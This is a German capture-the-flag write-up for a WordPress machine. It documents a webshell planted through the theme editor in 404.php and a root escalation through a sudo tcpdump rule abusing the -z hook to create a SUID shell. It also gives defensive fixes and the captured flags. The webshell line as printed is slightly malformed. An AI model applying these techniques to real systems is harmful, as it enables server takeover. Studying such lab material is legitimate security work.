Schwachstelle: Aktivierter Theme-Editor im WordPress-Backend (`Appearance -> Editor`), der es einem Administrator (`webdeveloper`) erlaubt, PHP-Dateien des Themes zu bearbeiten und somit beliebigen PHP-Code auszuführen.
Ziel des POC: Nachweis, dass durch Einfügen von PHP-Code (Webshell/Reverse Shell) in eine Theme-Datei (z.B. `404.php`) Codeausführung im Kontext des Webserver-Benutzers (`www-data`) erreicht werden kann.
Voraussetzungen: Administrative WordPress-Credentials. Aktivierter Theme-Editor.

Schritt 1: Authentifizierung und Zugriff auf den Editor

Analyse: Mit den aus der PCAP-Datei gewonnenen Credentials wurde sich im WordPress-Backend angemeldet und zum Theme-Editor navigiert.

Schritt 2: Modifikation einer Theme-Datei

Analyse: Die Datei `404.php` des aktiven Themes wurde ausgewählt und der PHP-Code ` system($GET['cmd']); ?>` wurde hinzugefügt und gespeichert.

Schritt 3: Ausführung von Code

Analyse: Die modifizierte `404.php` wurde über den Browser aufgerufen und Befehle über den `cmd`-Parameter übergeben (z.B. `?cmd=id`). Ein Reverse-Shell-Payload wurde ebenfalls über den `cmd`-Parameter ausgeführt.
Ergebnis des POC: Beliebige Befehle konnten als `www-data` ausgeführt werden, und eine Reverse Shell wurde erfolgreich etabliert.
Risikobewertung: Hoch. Ermöglicht vollständige Codeausführung als Webserver-Benutzer bei Kompromittierung eines Admin-Kontos.
Empfehlung (Defensiv): Den Datei-Editor im WordPress-Backend deaktivieren (`define('DISALLOW_FILE_EDIT', true);` in `wp-config.php`). Administrative Konten mit starken, einzigartigen Passwörtern und idealerweise 2FA schützen. Dateiintegritätsüberwachung einsetzen.

Proof of Concept (Sudo tcpdump Abuse)

Schwachstelle: Unsichere `sudoers`-Konfiguration, die dem Benutzer `webdeveloper` erlaubt, `/usr/sbin/tcpdump` als Root auszuführen.
Ziel des POC: Nachweis, dass diese Berechtigung missbraucht werden kann, um beliebigen Code als Root auszuführen, indem die Post-Rotation-Hook-Funktion (`-z` Option) von `tcpdump` genutzt wird.
Voraussetzungen: Zugriff als Benutzer `webdeveloper`. Kenntnis des Passworts für `webdeveloper`. Die fehlerhafte `sudoers`-Regel.

Schritt 1: Identifizierung der Sudo-Regel

Analyse: Der Befehl `sudo -l` als `webdeveloper` (nach Eingabe des Passworts) zeigt die Regel `(root) /usr/sbin/tcpdump`.

Schritt 2: Erstellung des Post-Rotation-Skripts

Analyse: Ein Shell-Skript wird erstellt (im Beispiel `/tmp/bash`), das eine SUID-Root-Kopie von `/bin/bash` erstellt. Der Pfad zu diesem Skript wird in der Variable `$TF` gespeichert.

Schritt 3: Ausführung von tcpdump mit -z Option

Analyse: `sudo tcpdump` wird mit den Optionen `-W 1` (nur eine Datei schreiben), `-G 1` (nach 1 Sekunde rotieren), `-z $TF` (führt das Skript in `$TF` nach der Rotation aus) und `-Z root` (führt das Skript als Root aus) gestartet.
Bewertung: `tcpdump` startet, schreibt kurz Daten, rotiert die Datei nach einer Sekunde und führt dabei das Skript `$TF` als Root aus. Dieses Skript erstellt `/tmp/sh-1` mit SUID-Root-Rechten.

Schritt 4: Ausführen der SUID-Shell

Analyse: Die erstellte SUID-Datei `/tmp/sh-1` wird mit der Option `-p` ausgeführt.
Ergebnis des POC: Eine Shell wird gestartet, die aufgrund des SUID-Bits und der `-p`-Option Root-Rechte (`euid=0(root)`) besitzt.
Risikobewertung: Kritisch. Erlaubt einem Benutzer mit dieser spezifischen `sudo`-Regel die vollständige Übernahme des Systems.
Empfehlung (Defensiv): `tcpdump` oder anderen Tools mit Dateioperations-Hooks keine uneingeschränkten `sudo`-Rechte geben. Wenn `tcpdump` mit Root-Rechten laufen muss, sicherstellen, dass keine gefährlichen Optionen wie `-z` oder `-w` mit von Benutzern kontrollierbaren Pfaden verwendet werden können. `/tmp` mit `nosuid` mounten.

Flags

Analyse: Die User-Flag (`user.txt`) wurde im Home-Verzeichnis gefunden. Die Root-Flag (`flag.txt`) wurde im `/root`-Verzeichnis gefunden.
Bewertung: Beide Flags wurden erfolgreich extrahiert.

cat user.txt
25e3cd678875b601425c9356c8039f68
sh-1-4.4# cat /root/flag.txt
cba045a5a4f26f1cd8d7be9a5c2b1b34f6c5d290